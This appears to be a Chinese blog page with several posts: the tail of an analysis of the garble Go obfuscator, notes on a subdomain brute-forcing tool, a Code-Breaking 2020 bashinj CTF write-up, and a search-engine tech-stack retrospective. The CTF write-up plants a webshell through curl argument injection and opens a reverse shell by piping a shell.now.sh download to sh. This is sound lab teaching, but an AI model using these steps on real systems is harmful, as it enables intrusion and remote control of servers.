/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go

总结一下,go build 通过拼接命令的方式调用 compile 等编译工具来实现具体的编译工作,我们可以使用 go build -toolexec 参数来指定一个程序“介入”编译过程。

go/ast

Golang 中 AST 的类型及方法由 go/ast 标准库定义。后文分析的 garble 项目中会有大量涉及 go/ast 的类型断言和类型选择,所以有必要对这些类型有大致了解。大部分类型定义在 src/go/ast/ast.go ,其中的注释足够详细,但为了方便梳理关系,笔者整理了关系图,图中的分叉代表继承关系,所有类型都基于 Node 接口:

go/ast类型

本文无意去深入探究 AST,但相信读者只要对 AST 有基础的了解就足以理解本文的后续内容。如果理解困难,建议阅读 Go 语法树入门——开启自制编程语言和编译器之旅! 补充需要的知识,也可以通过在线工具 goast-viewer 将 AST 可视化来辅助分析。

工具分析

开源社区中关于 Go 代码混淆 star 比较多的两个项目是 burrowers/garbleunixpickle/gobfuscate,前者的特性更新一些,所以本文主要分析 garble,版本 8edde922ee5189f1d049edb9487e6090dd9d45bd

特性

  • 支持 modules,Go 1.16+
  • 不处理以下情况:
    • CGO
    • ignoreObjects 标记的:
      • 传入 reflect.ValueOfreflect.TypeOf 方法的参数的类型
      • go:linkname 中使用的函数
      • 导出的方法
      • 从未混淆的包中引入的类型和变量
      • 常量
    • runtime 及其依赖的包(support obfuscating the runtime package #193
    • Go 插件
  • 哈希处理符合条件的包、函数、变量、类型等的名称
  • 将字符串替换为匿名函数
  • 移除调试信息、符号表
  • 可以设置 -debugdir 输出混淆过的 Go 代码
  • 可以指定不同的种子以混淆出不同的结果

整体上可以将 garble 分为两种模式:

  • 主动模式:当命令传入的第一个指令与 garble 的预设相匹配时,代表是被用户主动调用的。此阶段会根据参数进行配置、获取依赖包信息等,然后将配置持久化。如果指令是 build 或 test,则再向命令中添加 -toolexec=path/to/garble 将自己设置为编译工具的启动器,引出启动器模式
  • 启动器模式:对 tool/asm/link 这三个工具进行“拦截”,在编译工具运行前进行源代码混淆、修改运行参数等操作,最后运行工具编译混淆后的代码

获取和修改参数的工作花费了大量的代码,为了方便分析,后文会将其一笔带过,感兴趣的读者可以查询官方文档来了解各个参数的作用。

构造目标列表

构造目标列表的行为发生在主动模式中,截取部分重要的代码:

// listedPackage contains the 'go list -json -export' fields obtained by the
// root process, shared with all garble sub-processes via a file.
type listedPackage struct {
	Name       string
	ImportPath string
	ForTest    string
	Export     string
	BuildID    string
	Deps       []string
	ImportMap  map[string]string
	Standard   bool

	Dir     string
	GoFiles []string

	// The fields below are not part of 'go list', but are still reused
	// between garble processes. Use "Garble" as a prefix to ensure no
	// collisions with the JSON fields from 'go list'.

	GarbleActionID []byte

	Private bool
}

func setListedPackages(patterns []string) error {
  args := []string{"list", "-json", "-deps", "-export", "-trimpath"}
  args = append(args, cache.BuildFlags...)
  args = append(args, patterns...)
  cmd := exec.Command("go", args...)
  ...
  cache.ListedPackages = make(map[string]*listedPackage)
  for ...{
    var pkg listedPackage
    ...
    cache.ListedPackages[pkg.ImportPath] = &pkg
    ...
  }
}

核心是利用 go list 命令,其中指定的 -deps 参数官方释义为:

The -deps flag causes list to iterate over not just the named packages but also all their dependencies. It visits them in a depth-first post-order traversal, so that a package is listed only after all its dependencies. Packages not explicitly listed on the command line will have the DepOnly field set to true.

这里的遍历其实与前文分析的 go build 创建 action 时的很相似。通过这条命令 garble 可以获取到项目所有的依赖信息(包括间接依赖),遍历并存入 cache.ListedPackages。除此之外还要标记各个依赖包是否在 env.GOPRIVATE 目录下,只有此目录下的文件才会被混淆(特例是使用了 -tiny 参数时会处理一部分 runtime)。可以通过设置环境变量 GOPRIVATE="*" 来扩大范围以获得更好的混淆效果。关于混淆范围的问题,garble 的作者也在尝试优化:idea: break away from GOPRIVATE? #276

至此,需要混淆的目标已经明确。加上一些保存配置信息的操作,主动模式的任务已基本完成,然后就可以运行拼接起的命令,引出启动器模式。

启动器模式中会对 compile/asm/link 这三个编译器工具进行拦截并“介入编译过程”,打起引号是因为 garble 实际上并没有完成任何实际的编译工作,如同 go build ,它只是作为中间商修改了源代码或者修改了命令中传给编译工具的参数,最后还是要依靠这三个编译工具来实现具体的编译工作,下面逐一分析。

compile

实现位于 main.go transformCompile 函数,主要工作是处理 go 文件和修改命令参数。go build -n 参数可以输出执行的命令,我们可以在使用 garble 时传入这个参数来更直观的了解编译过程。截取其中一条:

/home/atom/go/bin/garble /usr/local/go/pkg/tool/linux_amd64/compile -o $WORK/b016/_pkg_.a -trimpath "/usr/local/go/src/sync=>sync;$WORK/b016=>" -p sync -std -buildid FRNt7EHDh77qHujLKnmK/FRNt7EHDh77qHujLKnmK -goversion go1.16.4 -D "" -importcfg $WORK/b016/importcfg -pack -c=4 /usr/local/go/src/sync/cond.go /usr/local/go/src/sync/map.go /usr/local/go/src/sync/mutex.go /usr/local/go/src/sync/once.go /usr/local/go/src/sync/pool.go /usr/local/go/src/sync/poolqueue.go /usr/local/go/src/sync/runtime.go /usr/local/go/src/sync/runtime2.go /usr/local/go/src/sync/rwmutex.go /usr/local/go/src/sync/waitgroup.go

这条命令使用 compile 编译工具来将 cond.go 等诸多文件编译成中间代码。garble 识别到当前的编译工具是 compile,于是”拦截“,在工具运行前做一些混淆等工作。下面分析一下相对重要的部分。

首先要将传入的 go 文件解析成 AST:

var files []*ast.File
for _, path := range paths {
  file, err := parser.ParseFile(fset, path, nil, parser.ParseComments)
  if err != nil {
    return nil, err
  }
  files = append(files, file)
}

然后进行类型检查, 这也是正常编译时会进行的一步,类型检查不通过则代表文件无法编译成功,程序退出。

因为参与反射(reflect.ValueOf / reflect.TypeOf)的节点的类型名称可能会在后续逻辑中使用,所以不能对其名称进行混淆:

if fnType.Pkg().Path() == "reflect" && (fnType.Name() == "TypeOf" || fnType.Name() == "ValueOf") {
  for _, arg := range call.Args {
    argType := tf.info.TypeOf(arg)
    tf.recordIgnore(argType, tf.pkg.Path())
  }
}

这里引出了一个贯穿每次 compile 生命周期的重要 map,记录了所有不能进行混淆的对象:用在反射参数的类型,用在常量表达式和 go:linkname 的标识符,从没被混淆的包中引入的变量和类型:

// ignoreObjects records all the objects we cannot obfuscate. An object
// is any named entity, such as a declared variable or type.
//
// So far, this map records:
//
//  * Types which are used for reflection; see recordReflectArgs.
//  * Identifiers used in constant expressions; see RecordUsedAsConstants.
//  * Identifiers used in go:linkname directives; see handleDirectives.
//  * Types or variables from external packages which were not
//    obfuscated, for caching reasons; see transformGo.
ignoreObjects map[types.Object]bool

我们以判别「用在常量表达式中的标识符」且类型是 ast.GenDecl 的情况为例:

// RecordUsedAsConstants records identifieres used in constant expressions.
func RecordUsedAsConstants(node ast.Node, info *types.Info, ignoreObj map[types.Object]bool) {
	visit := func(node ast.Node) bool {
		ident, ok := node.(*ast.Ident)
		if !ok {
			return true
		}

		// Only record *types.Const objects.
		// Other objects, such as builtins or type names,
		// must not be recorded as they would be false positives.
		obj := info.ObjectOf(ident)
		if _, ok := obj.(*types.Const); ok {
			ignoreObj[obj] = true
		}

		return true
	}

	switch x := node.(type) {
	...
	// in a const declaration all values must be constant representable
	case *ast.GenDecl:
		if x.Tok != token.CONST {
			break
		}
		for _, spec := range x.Specs {
			spec := spec.(*ast.ValueSpec)

			for _, val := range spec.Values {
				ast.Inspect(val, visit)
			}
		}
	}
}

假设需要混淆的代码是:

package obfuscate

const (
	H2 string = "a"
	H4 string = "a" + H2
	H3 int    = 123
	H5 string = "a"
)

可以看到用于常量表达式的标识符是 H2,我们通过代码分析一下判定过程。首先整个 const 块符合 ast.GenDecl 类型,然后遍历其 Specs(每个定义),对每个 spec 遍历其 Values(等号右边的表达式),再对 val 中的元素使用 ast.Inspect() 遍历执行 visit(),如果元素节点的类型是 ast.Ident 且指向的 obj 的类型是 types.Const,则将此 obj 记入 tf.recordIgnore。有点绕,我们把 AST 打印出来看:

ignoreObjects-example

可以很清晰地看到 H4 string = "a" + H2 中的 H2 完全符合条件,所以应该被记入 tf.recordIgnore。接下来要分析的功能中会涉及到大量类型断言和类型选择,看起来复杂但本质上与刚刚的分析过程类似,我们只要将写个 demo 并打印出 AST 就很容易理解了。

回到 main.go transformCompile。接下来对当前的包名进行混淆并写入命令参数和源文件中,要求文件既不是 main 包,也不在 env.GOPRIVATE 目录之外。下一步将处理注释和源代码,这里会对 runtime 和 CGO 单独处理,我们大可忽略,直接看对普通 Go 代码的处理:

// transformGo obfuscates the provided Go syntax file.
func (tf *transformer) transformGo(file *ast.File) *ast.File {
	if opts.GarbleLiterals {
		file = literals.Obfuscate(file, tf.info, fset, tf.ignoreObjects)
	}

	pre := func(cursor *astutil.Cursor) bool {...}
	post := func(cursor *astutil.Cursor) bool {...}

	return astutil.Apply(file, pre, post).(*ast.File)
}

首先混淆字符,然后递归处理 AST 的每个节点,最后返回处理完成的 AST。这几部分的思路很相似,都是利用 astutil.Apply(file, pre, post) 进行 AST 的递归处理,其中 pre 和 post 函数分别用于访问孩子节点前和访问后。这部分的代码大都是比较繁琐的筛选操作,下面仅作简要分析:

  • literals.Obfuscate pre

    跳过如下情况:值需要推导的、含有非基础类型的、类型需要推导的(隐式类型定义)、ignoreObj 标记了的常量。将通过筛选的常量的 token 由 const 改为 var,方便后续用匿名函数代替常量值,但如果一个 const 块中有一个不能被改为 var,则整个块都不会被修改。

  • literals.Obfuscate post

    将字符串、byte 切片或数组的值替换为匿名函数,效果如图:

    obfuscated-literals

  • transformGo pre

    跳过名称中含有 _(未命名) _C / _cgo (cgo 代码)的节点,若是嵌入字段则要找到实际要处理的 obj,再根据 obj 的类型继续细分筛选:

    • types.Var :跳过非全局变量,若是字段则则将其结构体的类型名作为 hash salt,如果字段所属结构体是未被混淆的,则记入 tf.ignoreObjects
    • types.TypeName:跳过非全局类型,若该类型在定义处没有混淆,则跳过
    • types.Func:跳过导出的方法、main/ init/TestMain 函数 、测试函数

    若节点通过筛选,则将其名称进行哈希处理

  • transformGo post:哈希处理导入路径

至此已经完成了对源代码的混淆,只需要将新的代码写入临时目录,并把地址拼接到命令中代替原文件路径,一条新的 compile 命令就完成了,最后执行这条命令就可以使用编译工具编译混淆后的代码。

asm

比较简单,只作用于 private 的包,核心操作如下:

  • 将临时文件夹路径添加到 -trimpath 参数首部
  • 将调用的函数的名称替换为混淆后的,Go 汇编文件中调用的函数名前都有 ·,以此为特征搜索

link

比较简单,核心操作如下:

  • -X pkg.name=str 参数标记的包名(pkg)、变量名(name)替换为混淆后的
  • -buildid 参数置空以避免 build id 泄露
  • 添加 -w -s 参数以移除调试信息、符号表、DWARF 符号表

混淆效果

编写一小段代码,分别进行 go build .go env -w GOPRIVATE="*" && garble -literals build . 两次编译。可以看到左侧很简单的代码经过混淆后变得难以阅读:

obfuscated-show-1

obfuscated-show-2

再放入 IDA 中用 go_parser 解析一下。混淆前的文件名函数名等信息清晰可见,代码逻辑也算工整:

obfuscated-show-ida-1

混淆后函数名等信息被乱码替代,且因为字符串被替换为了匿名函数,代码逻辑混乱了许多:

obfuscated-show-ida-2

当项目更大含有更多依赖时,代码混淆所带来的混乱会更加严重,且由于第三方依赖包也被混淆,逆向破解时就无法通过引入的第三方包来猜测代码逻辑。

总结

本文从源码实现的角度探究了 Golang 编译调用工具链的大致流程以及 burrowers/garble 项目,了解了如何利用 go/ast 对代码进行混淆处理。通过混淆处理,代码的逻辑结构、二进制文件中存留的信息变得难以阅读,显著提高了逆向破解的难度。

「SF」子域名搜集工具开发小结

2021年3月11日 08:34

SF 是一个 Golang 开发的高性能的子域名搜集工具,支持字典爆破等搜集方式。项目地址:github.com/0x2E/sf

开发过程中学习了很多文章(见文末),感谢师傅们的分享,于是我也把遇到的几个有意思的点整理了出来。

字典爆破

简易版

net 库提供的 lookup 系列函数不能指定 DNS 服务器,所以用了 miekg/dns,调用起来很简单:

func lookup(domain string, resolver string, retry int) string {
  m := new(dns.Msg)
  m.SetQuestion(domain, dns.TypeA) // 默认要求递归
  var r *dns.Msg
  var err error
  for i := 0; i <= retry; i++ {
    r, err = dns.Exchange(m, resolver) // 默认2秒超时
    if err == nil {
      break
    }
  }
  if err != nil { // 重试之后仍有错误
    fmt.Print("lookup error: " + domain + " - " + err.Error())
    return ""
  }
  if r.Rcode != dns.RcodeSuccess || len(r.Answer) == 0 {
    return ""
  }
  res := strings.Replace(r.Answer[0].String(), r.Answer[0].Header().String(), "", 1) // https://github.com/miekg/dns/issues/1204#issuecomment-751648288
  fmt.Print(res)
  return res
}

当然,用起来简单是有代价的,dns.Exchange 发送 DNS 请求的过程经过了一次完整的 socket 生命周期(创建,发送,接收,关闭),会造成两个问题:

  • 额外开销巨大

因为每次都要创建和关闭 socket,造成了大量的资源消耗,在火焰图上用于发送和接收的 dns.(*Client).ExchangeWithConn 的时间仅仅占 25.5%,创建 socket 的消耗几乎是读写的两倍。在测试过程中,开 2w 并发时 CPU 占有率基本维持在 50%,刚启动时甚至会在 90% 停留许久。

flame-graph1

  • 系统可用端口数不足

因为每个 socket 都是占用一个临时端口,如果并发开的太大可能撞上系统的最大临时端口数或最大文件打开数的限制,满屏的报错。(尝试从大于 5000 的 TCP 端口进行连接时 (错误"WSAENOBUFS) 10055)

errors

优化版

既然明确了问题出自 socket 的大量的创建/关闭操作,那么针对此进行优化:保持 socket 的开启状态,然后手动构造 DNS 报文并写入 UDP 包,持续发送,另开一个 goroutine 持续接收。

涉及到 DNS 报文的构造和解析,需要对 DNS 报文格式有初步了解,挺简单的,参考 Writing DNS messages from scratch using GoLet's hand write DNS messagesDNS 请求报文详解。第一篇文章中实现了一个库,我把其中需要的函数整理了一下(0x2E/rawdns)来更方便地构造和解析 DNS 报文:

package main

import (
  "github.com/0x2E/rawdns"
  "net"
)

func main() {
  // create socket
  conn, _ := net.Dial("udp", "8.8.8.8:53")
  defer conn.Close()

  // construct DNS packet content
  payload, _ := rawdns.Marshal(33, 1, "github.com", rawdns.QTypeA)

  // send UDP packet
  _, _ = conn.Write(payload)

  // receive UDP packet
  buf := make([]byte, 0, 1024)
  n, _ := conn.Read(buf)

  // parse
  resp, _ := rawdns.Unmarshal(buf[:n])
}

为了防止发送过快但接收跟不上而冲爆缓存,还需设置一个任务队列来尽量同步发送和接收的速度。

优化后效果显著,设队列大小为 200,使用 200 并发来爆破 10w 的字典用时 17 秒,与优化前基本相同,但 CPU 占用率降到了 15% 以内,火焰图中已经看不到 net.(*Dialer).Dial 的影子了。

flame-graph1

泛解析

没有万全之策

目前的解决思路基本是:

  1. 通过查询随机生成的子域名,构造 IP 黑名单
  2. 权威服务器中泛解析有相同 TTL
  3. 比较 DNS 响应的相似度
  4. 比较网页的相似度

即便不考虑性能问题,使用「匹配 IP 黑名单 ⇒ 比较 TTL ⇒ 比较 DNS 响应相似度 ⇒ 比较网页相似度」这一整套检测流程,看似全面,实则 naive,试想这种情况下还能否准确识别:某企业将部分域名泛解析到多台反向代理,再由反代根据域名转发到具体业务应用上,业务应用还会先检查登录状态以跳转到统一登录页。

如 FEEI 师傅的枚举子域名文中所说:

目前最好的解决方式是通过先获取一个绝对不存在域名的响应内容,再遍历获取每个字典对应的子域名的响应内容,通过和不存在域名的内容做相似度比对,来枚举子域名,但这样的实现是以牺牲速度为代价。 但这样还是存在问题,比如蘑菇街的商家是有自定义子域名功能的,他可以配置 sports.mogujie.com 为他的店铺域名,而所有店铺的响应内容是相似的。 这样就会导致虽然这些店铺域名和不存在的域名的响应内容不相似,但在最终的域名集合中有非常多的店铺自定义域名,这些域名对于漏洞扫描来说只需要有一个即可。 若再次对所有子域名进行响应相似度比对的话,又会出现新的问题,部分系统设计时,如果未登录可能跳统一登录页,会导致大量误杀。

尽力优化

SF 的泛解析处理分为两种模式:

  1. 宽松模式:仅匹配 IP 黑名单
  2. 严格模式:匹配 IP 黑名单 ⇒ 比较网页标题相似度。若无法访问 80 端口,则退化为宽松模式

本地测试了一下计算字符串相似度时,字符串的长度会引起耗时呈 3 倍左右增加。鉴于标题的作用即是概述网页主体的内容,所以这里选用了标题进行相似度比较。

这是基于域名主体会严格限制标题格式的前提下,如京东等网店子域名(下图)。如果要问「那爆破 github.io 这类服务的子域名怎么办」,你爆破 github.io 干什么?

example-jd.com

另外,可以看到两种模式都没有使用 TTL 参与匹配,因为其在非权威服务器上是持续衰减的,不能作为比较条件,所以还需要向权威服务器查询该域名的 TTL。在用百万大字典爆破泛解析大站时,会产生巨大的额外任务量,还有可能被权威服务器当作 DDos 而关进小黑屋。这仅仅为了甄别正常解析到了与泛解析相同 IP 的情况,性价比太低。甚至还有下图这种把所有不存在域名都随机返回一个无效 IP 的带恶人,测了一下大概有 580 个无效 IP 轮换使用,不知道是用了谁家的防护。

wirdcard-ips

遗留问题

  • 某些情况下无法获取网页标题

获取标题处使用的是 http.Get 函数获取网页 HTML 然后正则匹配出标题,很明显这无法适用于 SPA 网站,另外虽然可以跟随 301 等跳转,但无法根据 HTML 标签跳转,如百度:

<html>
  <meta http-equiv="refresh" content="0;url=http://www.baidu.com/" />
</html>
  • 无法处理跳转到类似「统一登录页」的情况

可能的解决方法:从 url 中搜索类似 returnUrl 之类的参数,或者正则匹配 IP/url 以找到登陆后跳转的页面。那么新的问题又来了,有的网站会将链接进行特殊编码,如何解码呢。

  • 缺少重试机制 (2021.3.22 更新:906ec18 已完成)

爆破的结果不够稳定,初步判断是链路上会丢包,设置重试机制应该能解决问题。不想在内存设置一个状态表,担心会产生大量 lock/unlock,所以暂时没想好该怎么设计。

  • 输出内容不清晰

在终端中的输出内容较少、不清晰,不利于使用时的排错,需要重写 logger 模块。缺少进度条。

参考资料

Code-Breaking 2020 Bashinj

2020年4月19日 23:40

前天 P 神更新了 Code-Breaking 2020 的第一道题 bashinj ,小密圈里也有师傅放出 wp 了,趁热学习一下。

前置知识

#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

题目起源于 4 月 16 日 P 神在小密圈分享的一篇帖子,主要内容是:

原文:https://t.zsxq.com/NfauNNv

Bash 语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。 上述 example 代码中的 curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。

文中提到了对代码注入的一个误区,比如本题中的 curl -v http://httpbin.org/get?name=$name ,第一反应是用 &&id 的方式拼接执行自己想要的命令,其实是错误的。看完帖子似懂非懂,下面做一个实验来更好的理解。

$ export aaa="&&id"

# 测试1
$ echo "test 1"$aaa

# 测试2
$ eval echo "test 2"$aaa

实验

结果如上图。在测试 1 中,$aaa 的值是作为 echo 函数的参数进行处理的,而不是与 echo 同等地位的 bash 命令。在测试 2 中,$aaa 的值与 echo "test 2" 拼接后作为 eval 的参数,也就是 eval "echo test 2 && id" ,这才是我们所设想的命令拼接的情况。

我们来捋一下 bash 的解析过程 (参考文末相关资料):

  1. 读取输入
  2. 处理引号''""
  3. 将输入拆分为命令列表,分隔符: ;&&&||
  4. 解析特殊运算符{..}<(..)< ...<<< .... | .. 并按一定的顺序处理
  5. 解析扩展,比如把变量替换为其值
  6. 将一条命令分割为命令名称(分割出的第一个单词)和参数,分隔符:没有转义的空格、制表符、换行符
  7. 执行命令

(大概是这样子的,各种资料对 2/3/4 步顺序的说法不尽相同。别问我为什么不看官方文档,本来英语就不行,啃完辣么长的文档我可能就瞎了)

这就解释了为什么测试 1 的 $aaa=&&id 没有将其分隔成两条命令,因为在解析 && 的时候 $aaa 还没被替换为 &&id

回到题目 curl -v http://httpbin.org/get?name=$name ,我们能控制的 $name 无论赋值成什么,都只是作为 curl 的参数,而不能成为新的 bash 命令。

那么就只能看看能利用 curl 干点什么。

题解

  • 靶机:192.168.221.128:8080
  • 攻击:192.168.221.1

整体思路:控制靶机的 curl 请求我们预设的代理服务器,在代理服务器处劫持请求直接返回包含恶意代码的响应,靶机收到响应后保存到本地,再通过执行恶意代码进一步反弹 shell。

-G 构造查询字符串
--data-urlencode 将参数编码
-o 将响应保存为文件
-x 指定 HTTP 代理

首先在攻击机上用 Go 起一个监听 8888 端口的 Web 服务:

package main

import (
    "io"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
        log.Print(req)

        // 在原 index.cgi 后追加小马
        io.WriteString(w, "#!/bin/bash\nsource ./_dep/web.cgi\necho_headers\nname=${_GET[\"name\"]}\n[[ $name == \"\" ]] && name='Bob'\ncurl -v http://httpbin.org/get?name=$name\neval ${_GET['cmd']}")
    })

    err := http.ListenAndServe(":8888", nil)

    if err != nil {
        log.Fatal("ListenAndServer: ", err.Error())
    }
}

然后让靶机获取代理服务器上的修改过的 index.cgi 并保存到本地:

# 攻击机
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "name=hhh -x 192.168.221.1:8888 -o index.cgi"

这样靶机的 curl 拼接结果为 curl -v http://httpbin.org/get?name=hhh -x 192.168.221.1:8888 -o index.cgi ,虽然是请求 httpbin.org ,但通过设置 -x 让请求首先发往我们设置的代理服务器 192.168.221.1:8888 ,我们在代理服务器处劫持请求,直接返回响应,内容是修改过的 index.cgi ,靶机收到响应后覆盖保存到 Index.cgi (只有 index.cgi 有可执行权限)。

修改过的cgi

除了 -x 设置代理服务器的方式,还可以像小密圈里的 @呆头空师傅和 @Shix 师傅用 --resolve 强制将 curl 的所有请求解析到用于攻击的服务器。两种方式目的都是为了劫持靶机的请求。

修改了 index.cgi ,就可以通过 192.168.221.128:8080/index.cgi?cmd=id 来执行命令了。

# 攻击机
$ nc -lvp 9999
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "cmd=curl https://shell.now.sh/192.168.221.1:9999 | sh"

getshell

相关资料

最后再推一波 P 神的小密圈,“里面个个都是人才,说话又好听,我超喜欢这里的”。

知识星球

RawWeb.org 的前三次技术栈迭代

2025年2月7日 23:42

RawWeb.org 是我在 2024-08 启动的一个搜索引擎项目,初衷让更多人看到被主流搜索引擎忽视的个人数字花园,另外也想在实践中探索一些感兴趣的技术栈。

目前已经收录了 17k 个站点,615k 篇文章。欢迎提交你收藏的独立博客。

本文仅代表个人的体验和观点。

中间件

数据库使用 PostgreSQL,没用 SQLite 是因为可能以后要用到 Pg 丰富的插件。缓存是 Redis。消息队列使用 RabbitMQ。

除此之外,一个搜索引擎还必备爬虫全文搜索能力。

全文搜索使用 Elasticsearch,不自己实现倒排索引或用 Meilisearch 等轻量方案是因为 ES 有更好的中文分词器。

为了降低潜在风险和开发难度,爬虫仅从网站的 RSS 中获取数据源。所以爬虫的实现就是一个简单的 HTTP 请求器和 RSS 解析器。

一切从简,上述所有组件都是单节点部署,也没有特殊的调优技巧(我不会)。

多语言内容支持

这是一个能索引多种语言内容的搜索引擎,分词的质量决定了搜索结果的质量。

为了给不同语言配置专用分词器,在 Elasticsearch 中设置了多个字段,比如 content-encontent-zh,来存放不同语言的内容。

这涉及到:

  • 识别自然语言。
  • 将内容分流到专用字段,设置专用分词器。

首先清洗原始内容:

  1. 解析 HTML,去除 style、script 等无用标签;
  2. 尽可能去除代码、URL 等内容,避免干扰语言识别的准确性;
  3. 去除 HTML、XML 标签,获取纯文本;
  4. 去除多余的空白字符。

然后识别内容的所属语言。有两种方案:

第一种是 lingua,有 Python 和 Go 等语言的实现。性能和准确度都很优秀,还可以选择性加载语言模型。缺点是会让可执行文件增加 100MB 左右。

第二种是 Elasticsearch 内置的 lang_ident_model_1,需要创建 pipeline 来调用。实测下来准确度还不错,但是性能有问题。同等数据下,速度竟然比运行在更低配置服务器上的 Python 版 lingua 慢 4 倍。我猜是因为 lang_ident_model_1 需要测试其支持的所有语言,而 lingua 只需要加载少量语言模型。

考虑到性能和灵活性,最终使用了 lingua。lingua 有高准确度和低准确度两种模式,低准确度性能提升约 1 倍,并且只要输入在 120 字以上就不会损失过多准确率。所以目前采用了高、低准确度混合识别,输入为标题和内容抽样,实际测试中检测一篇文章只需 100μs。

确定了内容的语言,就可以为其设置最佳的分词器。根据 W3Techs 预估的互联网内容含量,为最主流的中、英、西、俄、德、法、日语言单独设置分词器,其他语言使用默认分词器。

后端

爬虫是一个简单的 Go 程序。而后端主体先后经历了 Django、Nest.js、Go 三次重构。

v1 - Django

技术栈:

  • Django v5。
  • django-ninja 作为 API 入口。
  • huey 作为任务队列,实际上我只用它管理定时任务。
  • uv 作为包管理工具。

此前被多次安利过 Django,我也很想通过这个项目学习一个 batteries-included 框架。考虑到有个 Django Admin,于是将其用作原型开发。

Django 的文档质量是我目前见过的最高之一,读起来非常舒服。因为项目是前后端分离,且没有用到 auth、view 等内置插件,所以 Django 的 "batteries" 没能减轻我的负担,整个开发体验也没有给我很大的惊喜。

考虑到框架的稳定性和社区繁荣度,如果我是动态语言爱好者,应该会喜欢 Django。可惜我已经被 Go 打上了深深的思想钢印,Django 的“魔法”含量超出了我的接受范围,比如 ORM 用字段名+双下划线+方法名来构建查询条件。很难想象我曾经很想学 RoR。

最终,在开发完成后,即使关闭了所有内置插件、尽可能地使用 async、使用 Uvicorn,压测结果也远低于我的预期。于是我开始研究用 Node.js 进行重构。

v2 - Nest.js

技术栈:

  • TypeScript。
  • Nest 封装的各种组件。
  • Prisma 作为 ORM。

由于一次搜索的主要耗时是等待 Elasticsearch,Web 服务主要是作为一个请求转发器,这种 I/O 密集型场景非常适合 Node.js。

热门框架有 Nest.js 和 Adonis.js,我最终选择了更流行的 Nest。别问为什么不是 Express 或 Fastify,它们不是完备的框架。

Nest 似乎更像是一个依赖注入器加多个官方维护的组件包。虽然内置了缓存、消息队列等常用组件,但据我观察大都是对第三方库的封装,让 Nest 的用户不需要自行东拼西凑。但即使有官方的封装,我仍然不幸被底层库变更波及到了(cache-manager@6)。

对于具有 Java/Spring 背景的开发者来说,Nest 或许很不错。但对我来说 Nest 的各种装饰器、管道等概念让我有很重的记忆负担。时隔两三个月再切换回 Nest 项目时,我需要重新去翻看文档才能确定各种它们的用法。

另外,文档看起来比较丰富,但质量远不如 Django。比如模块生命周期部分,我实在没能靠文档搞懂,最终是靠一篇源码分析的文章才大概捋清了思路。

接触新技术总是好的,但对于这个项目来说选择 Nest 是错误的,因为项目的复杂度甚至不如 Nest 引入的复杂度。

v3 - Go

技术栈:

  • Echo 作为 API 入口。
  • GORM Gen 作为 ORM。

基于前两次体验,暂时对 batteries-included 框架祛魅了。兜兜转转,发现真爱还是最初的那个—— Go。

曾经我对用 Go 进行 Web 开发的不满有二:

  • 语法过于简陋,CRUD 很难受。
  • 没有好用的 ORM 或 SQL builder。

幸运地是,这两个问题都基本得到了解决。

得益于 LLM 和 AI IDE 的发展,Go 的简陋语法不仅不再是劣势,反而一定程度上成为了优势,因为 LLM 能非常容易地理解代码,AI 补全的准确率非常高。

说到 ORM,Go 社区中相当流行的观点是“ORM 有害”,更倾向于 sqlc 由 SQL 生成 Go 代码,或 sqlx 直接使用 SQL 的方式。ORM 确实有时让简单的事情变复杂,比如 Prisma 直到近期版本才支持使用真正的 JOIN。但一个 API 设计良好、类型安全的 ORM 能极大提升 CRUD 体验。

GORM Gen 让我重新喜欢上了 GORM。借助代码生成,不仅能实现类型安全,更关键的是能由自定义 SQL 生成 Go 代码,这意味着我拥有几乎满血的 SQL 能力。

于是,这次用 Go 进行的代码重构过程非常愉快。除了灾难级的 Elasticsearch 官方 SDK。

Go 还减轻了 infra 的负担,不需要再在 Dockerfile 中设置多阶段构建(没有 CI 服务器或 GitHub Action,前两种技术栈都是推送代码到线上环境构建 Docker image)。

考虑到一切从简,我还去掉了 RabbitMQ,转而使用一张数据表存放任务,提供一个 API 让爬虫同步数据。因为未来可能精简掉 Redis,所以这里没有用 Redis 做 MQ。

备选项

还有一些有兴趣但放弃的方案,可能以后有空了会试试:

  • C# & .Net。久闻 C# 写起来让人幸福感满满,.Net 也是很好的企业级框架。但是我对 OOP 没有兴趣,也担心微软是否在 .Net 开源工作中再次做出危险行为(Hot Reload removed from dotnet watch - Why?)。
  • Elixir & Phoenix。Elixir 的特性似乎非常适合高并发场景,开发体验也非常不错。但我目前没有学习函数式编程的精力。

<details> <summary>彩蛋</summary> 你是不是在找 Rust?哈哈,我永远不会学它来写 Web 的。 </details>

前端

前端使用我最爱的 SvelteKit,编译为 SSG 和 SPA 混合页面。UI 组件为 shadcn-svelte。

React 很好,但我平等地讨厌这个生态中的大部分东西,特别是 Next.js。我不明白为什么社区越来越“丰富”,却让开发者越来越痛苦。Svelte 暂时是我的止痛药,推荐你也试试。

基础设施

拒绝 vendor lock-in,只使用通用的 infra 技术:

  • 后端服务使用 Docker Compose 编排,由一个简易的 Shell 脚本编译并部署到 VPS。
  • 主要后端服务用的是 Hetzner 的 Arm VPS,目前是两台 2 vCPU + 4G RAM 的 Debian。(性价比超高,欢迎用我的 aff 注册,你能获得 €20 额度)。
  • 爬虫服务在另一家廉价 VPS。
  • 前端、CDN、DNS 等在 Cloudflare。
  • 监控服务用的是自建的 Uptime Kuma,以及一小部分服务接入了 New Relic。

未来计划自建一套 Prometheus + Grafana 可视化观测系统,统计搜索量、新增收录量等指标。

